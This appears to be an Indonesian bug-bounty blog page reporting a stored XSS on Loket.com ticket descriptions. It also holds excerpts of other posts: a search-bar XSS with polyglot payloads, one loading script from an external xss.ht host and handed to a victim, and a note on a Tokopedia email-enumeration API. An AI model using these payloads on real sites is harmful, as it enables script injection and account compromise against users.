XSS INJECTION ON LOKET.COM




STORED XSS ON TIKET STORED

Caranya hanya membuat halaman tiket dan cantumkan deskripsi





Reward:

Komentar

Posting Komentar

Postingan populer dari blog ini

XSS INFECTED Search Bar

Gambar
XSS INFECTED xss yang satu ini lumayan berbahaya karena bekerja pada halaman search Step : 1.attacker input this script on search bar javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+$.getScript("//nandoxp1.xss.ht")//'> or javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+window.location.replace("http://www.w3schools.com")//'> or javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(“xss”)//'> javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+window.location.replace("http://www.w3schools.com")//'> 2. attacker give to victim 3. ...
Baca selengkapnya

Perjalanan Bug Bounty Pertama Unproctected Api and information Disclosure

pertama kali saya belajar bug bounty melalui banyak pengalaman hampir bertahun saya selalu gagal namum berkat tekad dan kemauan saya selalu belajar sendiri melalui internet di pertengahan 2018 saya mulai mengerti namun hanya sebeatas ilmu kecil dan saya mulai mendapatkan reward pertama saya dari tokopedia walau bukan uang saya rasa itu sangat menyenangkan Unprotected itu bekerja dengan memasukan email dan api akan mendeteksi email tersebut terdaftar atau tidak bahanya ya information disclosure user yang daftar tokopedia
Baca selengkapnya